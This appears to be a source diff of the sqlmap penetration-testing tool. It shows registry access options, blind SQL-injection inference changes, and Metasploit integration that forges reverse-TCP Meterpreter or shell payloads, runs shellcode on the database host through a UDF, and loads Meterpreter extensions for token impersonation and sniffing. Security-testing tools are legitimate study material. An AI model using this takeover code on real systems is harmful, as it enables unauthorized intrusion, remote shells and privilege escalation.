windows = OptionGroup(parser, "Windows registry access", "This "
"option can be used to access the back-end "
"database management system Windows "
"registry.")
windows.add_option("--reg-read", dest="regRead", action="store_true",
help="Read a Windows registry key value")
windows.add_option("--reg-add", dest="regAdd", action="store_true",
help="Write a Windows registry key value data")
windows.add_option("--reg-del", dest="regDel", action="store_true",
help="Delete a Windows registry key value")
windows.add_option("--reg-key", dest="regKey",
help="Windows registry key")
windows.add_option("--reg-value", dest="regVal",
help="Windows registry key value")
windows.add_option("--reg-data", dest="regData",
help="Windows registry key value data")
windows.add_option("--reg-type", dest="regType",
help="Windows registry key value type")
# Miscellaneous options # Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous") miscellaneous = OptionGroup(parser, "Miscellaneous")
@@ -365,8 +404,10 @@ def cmdLineParser():
parser.add_option_group(techniques) parser.add_option_group(techniques)
parser.add_option_group(fingerprint) parser.add_option_group(fingerprint)
parser.add_option_group(enumeration) parser.add_option_group(enumeration)
parser.add_option_group(udf)
parser.add_option_group(filesystem) parser.add_option_group(filesystem)
parser.add_option_group(takeover) parser.add_option_group(takeover)
parser.add_option_group(windows)
parser.add_option_group(miscellaneous) parser.add_option_group(miscellaneous)
(args, _) = parser.parse_args() (args, _) = parser.parse_args()

View File

@@ -24,6 +24,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
from xml.sax import parse from xml.sax import parse
from lib.core.common import checkFile from lib.core.common import checkFile
@@ -46,13 +48,13 @@ def headersParser(headers):
kb.headersCount += 1 kb.headersCount += 1
topHeaders = { topHeaders = {
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH, "cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH, "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH, "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH, "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"),
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH, "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH, "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml")
} }
for header in headers: for header in headers:

View File

@@ -134,6 +134,10 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.isDba = data self.__queries.isDba = data
elif name == "check_udf":
data = sanitizeStr(attrs.get("query"))
self.__queries.checkUdf = data
elif name == "inband": elif name == "inband":
self.__inband = sanitizeStr(attrs.get("query")) self.__inband = sanitizeStr(attrs.get("query"))
self.__inband2 = sanitizeStr(attrs.get("query2")) self.__inband2 = sanitizeStr(attrs.get("query2"))

View File

@@ -85,6 +85,9 @@ class Connect:
else: else:
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
if silent is True:
socket.setdefaulttimeout(3)
if direct: if direct:
if "?" in url: if "?" in url:
url, params = url.split("?") url, params = url.split("?")
@@ -202,7 +205,7 @@ class Connect:
return None, None return None, None
if silent == True: if silent is True:
return None, None return None, None
elif conf.retriesCount < conf.retries: elif conf.retriesCount < conf.retries:
@@ -213,11 +216,15 @@ class Connect:
time.sleep(1) time.sleep(1)
socket.setdefaulttimeout(conf.timeout)
return Connect.__getPageProxy(url=url, get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart, silent=silent) return Connect.__getPageProxy(url=url, get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart, silent=silent)
else: else:
socket.setdefaulttimeout(conf.timeout)
raise sqlmapConnectionException, warnMsg raise sqlmapConnectionException, warnMsg
socket.setdefaulttimeout(conf.timeout)
parseResponse(page, responseHeaders) parseResponse(page, responseHeaders)
responseMsg += "(%s - %d):\n" % (status, code) responseMsg += "(%s - %d):\n" % (status, code)

View File

@@ -45,7 +45,7 @@ from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume from lib.utils.resume import resume
def __goInference(payload, expression, charsetType=None): def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
start = time.time() start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms: if ( conf.eta or conf.threads > 1 ) and kb.dbms:
@@ -55,7 +55,7 @@ def __goInference(payload, expression, charsetType=None):
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
count, value = bisection(payload, expression, length, charsetType) count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
duration = int(time.time() - start) duration = int(time.time() - start)
if conf.eta and length: if conf.eta and length:
@@ -68,7 +68,7 @@ def __goInference(payload, expression, charsetType=None):
return value return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None): def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
outputs = [] outputs = []
origExpr = None origExpr = None
@@ -96,7 +96,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
warnMsg += "sqlmap is going to retrieve the value again" warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg) logger.warn(warnMsg)
output = __goInference(payload, expressionReplaced, charsetType) output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
if isinstance(num, int): if isinstance(num, int):
expression = origExpr expression = origExpr
@@ -106,7 +106,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
return outputs return outputs
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None): def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
""" """
Retrieve the output of a SQL query characted by character taking Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected advantage of an blind SQL injection vulnerability on the affected
@@ -133,7 +133,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
return output return output
if unpack == False: if unpack == False:
return __goInference(payload, expression, charsetType) return __goInference(payload, expression, charsetType, firstChar, lastChar)
if kb.dbmsDetected: if kb.dbmsDetected:
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
@@ -226,7 +226,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
if not stopLimit: if not stopLimit:
if not count or not count.isdigit(): if not count or not count.isdigit():
count = __goInference(payload, countedExpression, charsetType) count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)
if count and count.isdigit() and int(count) > 0: if count and count.isdigit() and int(count) > 0:
count = int(count) count = int(count)
@@ -297,7 +297,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
return None return None
for num in xrange(startLimit, stopLimit): for num in xrange(startLimit, stopLimit):
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType) output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
outputs.append(output) outputs.append(output)
return outputs return outputs
@@ -305,12 +305,12 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression: elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression expression = "%s FROM DUAL" % expression
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType) outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
returnValue = ", ".join([output for output in outputs]) returnValue = ", ".join([output for output in outputs])
else: else:
returnValue = __goInference(payload, expression, charsetType) returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
return returnValue return returnValue
@@ -345,7 +345,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
return data return data
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None): def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
""" """
Called each time sqlmap inject a SQL query on the SQL injection Called each time sqlmap inject a SQL query on the SQL injection
affected parameter. It can call a function to retrieve the output affected parameter. It can call a function to retrieve the output
@@ -375,7 +375,7 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
conf.paramNegative = False conf.paramNegative = False
if blind and not value: if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType) value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
conf.paramFalseCond = oldParamFalseCond conf.paramFalseCond = oldParamFalseCond
conf.paramNegative = oldParamNegative conf.paramNegative = oldParamNegative

View File

@@ -48,9 +48,22 @@ class Abstraction(UDF, xp_cmdshell):
xp_cmdshell.__init__(self) xp_cmdshell.__init__(self)
def __cmdShellCleanup(self):
if not conf.cleanup:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.cleanup()
elif kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def execCmd(self, cmd, silent=False, forgeCmd=False): def execCmd(self, cmd, silent=False, forgeCmd=False):
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfExecCmd(cmd, silent) self.udfExecCmd(cmd, silent=silent)
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellExecCmd(cmd, silent, forgeCmd) self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
@@ -60,12 +73,12 @@ class Abstraction(UDF, xp_cmdshell):
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def evalCmd(self, cmd): def evalCmd(self, cmd, first=None, last=None):
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
return self.udfEvalCmd(cmd) return self.udfEvalCmd(cmd, first, last)
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
return self.xpCmdshellEvalCmd(cmd) return self.xpCmdshellEvalCmd(cmd, first, last)
else: else:
errMsg = "Feature not yet implemented for the back-end DBMS" errMsg = "Feature not yet implemented for the back-end DBMS"
@@ -89,8 +102,8 @@ class Abstraction(UDF, xp_cmdshell):
else: else:
self.execCmd(cmd, forgeCmd=True) self.execCmd(cmd, forgeCmd=True)
if kb.dbms == "Microsoft SQL Server": if not conf.osShell and not conf.cleanup:
self.cleanup(onlyFileTbl=True) self.__cmdShellCleanup()
def absOsShell(self): def absOsShell(self):
@@ -138,20 +151,11 @@ class Abstraction(UDF, xp_cmdshell):
self.runCmd(command) self.runCmd(command)
if not conf.cleanup: self.__cmdShellCleanup()
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.cleanup()
elif kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def initEnv(self, mandatory=True, detailed=False): def initEnv(self, mandatory=True, detailed=False):
if self.envInitialized == True: if self.envInitialized is True:
return return
self.checkDbmsOs(detailed) self.checkDbmsOs(detailed)
@@ -162,11 +166,11 @@ class Abstraction(UDF, xp_cmdshell):
logger.warn(warnMsg) logger.warn(warnMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfInit() self.udfInjectCmd()
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellInit(mandatory) self.xpCmdshellInit(mandatory)
else: else:
errMsg = "Feature not yet implemented for the back-end DBMS" errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg

View File

@@ -1,171 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setDEP
class DEP:
"""
This class defines methods to handle DEP (Data Execution Prevention)
The following operating systems has DEP enabled by default:
* Windows XP SP2+
* Windows Server 2003 SP1+
* Windows Vista SP0+
* Windows 2008 SP0+
References:
* http://support.microsoft.com/kb/875352
* http://en.wikipedia.org/wiki/Data_Execution_Prevention
"""
def __init__(self):
self.bypassDEP = False
self.__supportDEP = False
def __initVars(self, exe):
self.__DEPvalues = {
"OPTIN": "only Windows system binaries are covered by DEP by default",
"OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed",
"ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway",
"ALWAYSOFF": "no DEP coverage for any part of the system"
}
self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
self.__excRegValue = exe
self.__excRegValue = self.__excRegValue.replace("/", "\\")
def __addException(self):
infoMsg = "adding an exception to DEP in the Windows registry "
infoMsg += "for '%s' executable" % self.__excRegValue
logger.info(infoMsg)
if kb.dbms == "PostgreSQL":
warnMsg = "by default PostgreSQL server runs as postgres "
warnMsg += "user which has no privileges to add/delete "
warnMsg += "Windows registry keys, sqlmap will give it a try "
warnMsg += "anyway"
logger.warn(warnMsg)
self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI")
def delException(self):
if self.bypassDEP == False:
return
infoMsg = "deleting the exception to DEP in the Windows registry "
infoMsg += "for Metasploit Framework 3 payload stager"
logger.info(infoMsg)
self.delRegKey(self.__excRegKey, self.__excRegValue)
def __analyzeDEP(self):
detectedValue = False
for value, explanation in self.__DEPvalues.items():
if value in kb.dep:
detectedValue = True
if value in ( "OPTIN", "ALWAYSOFF" ):
logger.info(explanation)
self.bypassDEP = False
elif value == "OPTOUT":
logger.info(explanation)
self.bypassDEP = True
self.__addException()
elif value == "ALWAYSON":
logger.warn(explanation)
self.bypassDEP = True
self.__addException()
if detectedValue == False:
warnMsg = "it was not possible to detect the DEP system "
warnMsg += "policy, sqlmap will threat as if "
warnMsg += "%s" % self.__DEPvalues["OPTOUT"]
logger.warn(warnMsg)
self.__addException()
def __systemHasDepSupport(self):
depEnabledOS = {
"2003": ( 1, 2 ),
"2008": ( 0, 1 ),
"XP": ( 2, 3 ),
"Vista": ( 0, 1 ),
}
for version, sps in depEnabledOS.items():
if kb.osVersion == version and kb.osSP in sps:
self.__supportDEP = True
break
def handleDep(self, exe):
logger.info("handling DEP")
self.__systemHasDepSupport()
if self.__supportDEP == True:
infoMsg = "the back-end DBMS underlying operating system "
infoMsg += "supports DEP: going to handle it"
logger.info(infoMsg)
elif not kb.osVersion or not kb.osSP:
warnMsg = "unable to fingerprint the back-end DBMS "
warnMsg += "underlying operating system version and service "
warnMsg += "pack: going to threat as if DEP is enabled"
logger.warn(warnMsg)
self.bypassDEP = True
else:
infoMsg = "the back-end DBMS underlying operating system "
infoMsg += "does not support DEP: no need to handle it"
logger.info(infoMsg)
return
logger.info("checking DEP system policy")
self.__initVars(exe)
if not kb.dep:
kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper()
setDEP()
self.__analyzeDEP()

View File

@@ -24,7 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import binascii
import os import os
import re import re
import stat import stat
@@ -67,24 +66,23 @@ class Metasploit:
self.portStr = None self.portStr = None
self.payloadStr = None self.payloadStr = None
self.encoderStr = None self.encoderStr = None
self.payloadConnStr = None
self.resourceFile = None self.resourceFile = None
self.localIP = getLocalIP() self.localIP = getLocalIP()
self.remoteIP = getRemoteIP() self.remoteIP = getRemoteIP()
self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath) self.__msfCli = os.path.normpath(os.path.join(conf.msfPath, "msfcli"))
self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath) self.__msfConsole = os.path.normpath(os.path.join(conf.msfPath, "msfconsole"))
self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath) self.__msfEncode = os.path.normpath(os.path.join(conf.msfPath, "msfencode"))
self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath) self.__msfPayload = os.path.normpath(os.path.join(conf.msfPath, "msfpayload"))
self.__msfPayloadsList = { self.__msfPayloadsList = {
"windows": { "windows": {
1: ( "Reflective Meterpreter (default)", "windows/meterpreter" ), 1: ( "Meterpreter (default)", "windows/meterpreter" ),
2: ( "PatchUp Meterpreter (only from Metasploit development revision 6742)", "windows/patchupmeterpreter" ), 2: ( "Shell", "windows/shell" ),
3: ( "Shell", "windows/shell" ), 3: ( "VNC", "windows/vncinject" ),
4: ( "Reflective VNC", "windows/vncinject" ),
5: ( "PatchUp VNC (only from Metasploit development revision 6742)", "windows/patchupvncinject" ),
}, },
"linux": { "linux": {
1: ( "Shell", "linux/x86/shell" ), 1: ( "Shell", "linux/x86/shell" ),
@@ -93,14 +91,13 @@ class Metasploit:
self.__msfConnectionsList = { self.__msfConnectionsList = {
"windows": { "windows": {
1: ( "Bind TCP (default)", "bind_tcp" ), 1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ), 2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
3: ( "Reverse TCP", "reverse_tcp" ), 3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ),
}, },
"linux": { "linux": {
1: ( "Bind TCP (default)", "bind_tcp" ), 1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
2: ( "Reverse TCP", "reverse_tcp" ), 2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
} }
} }
@@ -130,8 +127,8 @@ class Metasploit:
} }
self.__portData = { self.__portData = {
"bind": "remote port numer", "bind": "remote port number",
"reverse": "local port numer", "reverse": "local port number",
} }
@@ -186,16 +183,19 @@ class Metasploit:
def __selectEncoder(self, encode=True): def __selectEncoder(self, encode=True):
if kb.os == "Windows" and encode == True: if isinstance(encode, str):
return encode
elif kb.os == "Windows" and encode is True:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList) return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
def __selectPayload(self, askChurrasco=True): def __selectPayload(self, askChurrasco=True):
if kb.os == "Windows" and conf.privEsc == True: if kb.os == "Windows" and conf.privEsc == True:
infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can be used to abuse " infoMsg += "it is the only payload that can abuse Windows "
infoMsg += "Windows Impersonation Tokens via Meterpreter " infoMsg += "Access Tokens via Meterpreter 'incognito' "
infoMsg += "'incognito' extension to privilege escalate" infoMsg += "extension to privilege escalate"
logger.info(infoMsg) logger.info(infoMsg)
__payloadStr = "windows/meterpreter" __payloadStr = "windows/meterpreter"
@@ -224,7 +224,7 @@ class Metasploit:
choose = True choose = True
warnMsg = "it is unlikely that the VNC injection will be " warnMsg = "it is unlikely that the VNC injection will be "
warnMsg += "successful because often Microsoft SQL Server " warnMsg += "successful because usually Microsoft SQL Server "
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0] warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
warnMsg += "or the Administrator is not logged in" warnMsg += "or the Administrator is not logged in"
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -232,7 +232,7 @@ class Metasploit:
if choose == True: if choose == True:
message = "what do you want to do?\n" message = "what do you want to do?\n"
message += "[1] Give it a try anyway\n" message += "[1] Give it a try anyway\n"
message += "[2] Fall back to reflective Meterpreter payload (default)\n" message += "[2] Fall back to Meterpreter payload (default)\n"
message += "[3] Fall back to Shell payload" message += "[3] Fall back to Shell payload"
while True: while True:
@@ -254,7 +254,7 @@ class Metasploit:
break break
elif askChurrasco == False: elif askChurrasco is False:
logger.warn("beware that the VNC injection might not work") logger.warn("beware that the VNC injection might not work")
break break
@@ -330,10 +330,14 @@ class Metasploit:
self.payloadStr = self.__selectPayload(askChurrasco) self.payloadStr = self.__selectPayload(askChurrasco)
self.encoderStr = self.__selectEncoder(encode) self.encoderStr = self.__selectEncoder(encode)
if self.payloadStr == "linux/x86/shell":
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
else:
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def __forgeMsfCliCmd(self, exitfunc="process"): def __forgeMsfCliCmd(self, exitfunc="process"):
self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr)
self.__cliCmd += " EXITFUNC=%s" % exitfunc self.__cliCmd += " EXITFUNC=%s" % exitfunc
self.__cliCmd += " LPORT=%s" % self.portStr self.__cliCmd += " LPORT=%s" % self.portStr
@@ -357,14 +361,14 @@ class Metasploit:
def __forgeMsfConsoleResource(self): def __forgeMsfConsoleResource(self):
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile) self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
self.__prepareIngredients(encode=False, askChurrasco=False) self.__prepareIngredients(encode=False, askChurrasco=False)
self.__resource = "use windows/smb/smb_relay\n" self.__resource = "use windows/smb/smb_relay\n"
self.__resource += "set SRVHOST %s\n" % self.lhostStr self.__resource += "set SRVHOST %s\n" % self.lhostStr
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort() self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr) self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
self.__resource += "set LPORT %s\n" % self.portStr self.__resource += "set LPORT %s\n" % self.portStr
if self.connectionStr.startswith("bind"): if self.connectionStr.startswith("bind"):
@@ -384,8 +388,7 @@ class Metasploit:
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self.__payloadCmd = self.__msfPayload self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc self.__payloadCmd += " EXITFUNC=%s" % exitfunc
self.__payloadCmd += " LPORT=%s" % self.portStr self.__payloadCmd += " LPORT=%s" % self.portStr
@@ -395,19 +398,11 @@ class Metasploit:
elif not self.connectionStr.startswith("bind"): elif not self.connectionStr.startswith("bind"):
raise sqlmapDataException, "unexpected connection type" raise sqlmapDataException, "unexpected connection type"
if kb.os == "Windows": if kb.os == "Windows" or extra == "BufferRegister=EAX":
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format) self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
if extra is not None: if extra is not None:
self.__payloadCmd += " %s" % extra self.__payloadCmd += " %s" % extra
# NOTE: payload stager for Linux can only be encoded if the
# Metasploit working copy has been updated after May 11, 2009
# (http://trac.metasploit.com/changeset/6543)
#
# TODO: remember to update this code as soon as Metasploit
# Framework 3.3 is out officially and update the user's manual to
# notify that sqlmap depends upon Metasploit Framework 3.3
else: else:
self.__payloadCmd += " X > %s" % outFile self.__payloadCmd += " X > %s" % outFile
@@ -431,6 +426,14 @@ class Metasploit:
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE) self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfShellcodeRemote(self):
infoMsg = "running Metasploit Framework 3 shellcode "
infoMsg += "remotely via UDF 'sys_bineval', wait.."
logger.info(infoMsg)
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
def __runMsfPayloadRemote(self): def __runMsfPayloadRemote(self):
infoMsg = "running Metasploit Framework 3 payload stager " infoMsg = "running Metasploit Framework 3 payload stager "
infoMsg += "remotely, wait.." infoMsg += "remotely, wait.."
@@ -447,11 +450,6 @@ class Metasploit:
if kb.dbms == "Microsoft SQL Server": if kb.dbms == "Microsoft SQL Server":
cmd = self.xpCmdshellForgeCmd(cmd) cmd = self.xpCmdshellForgeCmd(cmd)
# NOTE: calling the Metasploit payload from a system() function in
# C on Windows (check on Linux the behaviour) for some reason
# hangs it and the HTTP response goes into timeout, this does not
# happen when running the it from Windows cmd.
# Investigate and fix if possible
self.execCmd(cmd, silent=True) self.execCmd(cmd, silent=True)
@@ -459,23 +457,25 @@ class Metasploit:
if kb.os != "Windows": if kb.os != "Windows":
return return
if self.resourceFile != None: if self.resourceFile is not None:
proc.stdin.write("sessions -l\n") proc.stdin.write("sessions -l\n")
proc.stdin.write("sessions -i %s\n" % metSess) proc.stdin.write("sessions -i %s\n" % metSess)
proc.stdin.write("getuid\n")
proc.stdin.write("use espia\n")
proc.stdin.write("use incognito\n")
proc.stdin.write("use priv\n") proc.stdin.write("use priv\n")
proc.stdin.write("use sniffer\n")
if conf.privEsc == True: if conf.privEsc == True:
print print
infoMsg = "loading Meterpreter 'incognito' extension and " infoMsg = "displaying the list of Access Tokens availables. "
infoMsg += "displaying the list of Access Tokens availables. "
infoMsg += "Choose which user you want to impersonate by " infoMsg += "Choose which user you want to impersonate by "
infoMsg += "using incognito's command 'impersonate_token'" infoMsg += "using incognito's command 'impersonate_token'"
logger.info(infoMsg) logger.info(infoMsg)
proc.stdin.write("use incognito\n")
proc.stdin.write("getuid\n")
proc.stdin.write("list_tokens -u\n") proc.stdin.write("list_tokens -u\n")
@@ -520,6 +520,12 @@ class Metasploit:
if pwnBofCond or smbRelayCond: if pwnBofCond or smbRelayCond:
func() func()
if "Starting the payload handler" in out and "shell" in self.payloadStr:
if kb.os == "Windows":
proc.stdin.write("whoami\n")
else:
proc.stdin.write("uname -a ; id\n")
metSess = re.search("Meterpreter session ([\d]+) opened", out) metSess = re.search("Meterpreter session ([\d]+) opened", out)
if metSess: if metSess:
@@ -531,18 +537,16 @@ class Metasploit:
return returncode return returncode
def createMsfShellcode(self): def createMsfShellcode(self, exitfunc, format, extra, encode):
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode " infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
infoMsg += "for the exploit"
logger.info(infoMsg) logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True) self.__randStr = randomStr(lowercase=True)
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr) self.__shellcodeFilePath = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
self.shellcodeChar = ""
self.__initVars() self.__initVars()
self.__prepareIngredients(askChurrasco=False) self.__prepareIngredients(encode=encode, askChurrasco=False)
self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"") self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
logger.debug("executing local command: %s" % self.__payloadCmd) logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE) process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
@@ -551,31 +555,29 @@ class Metasploit:
pollProcess(process) pollProcess(process)
payloadStderr = process.communicate()[1] payloadStderr = process.communicate()[1]
if kb.os == "Windows": if kb.os == "Windows" or extra == "BufferRegister=EAX":
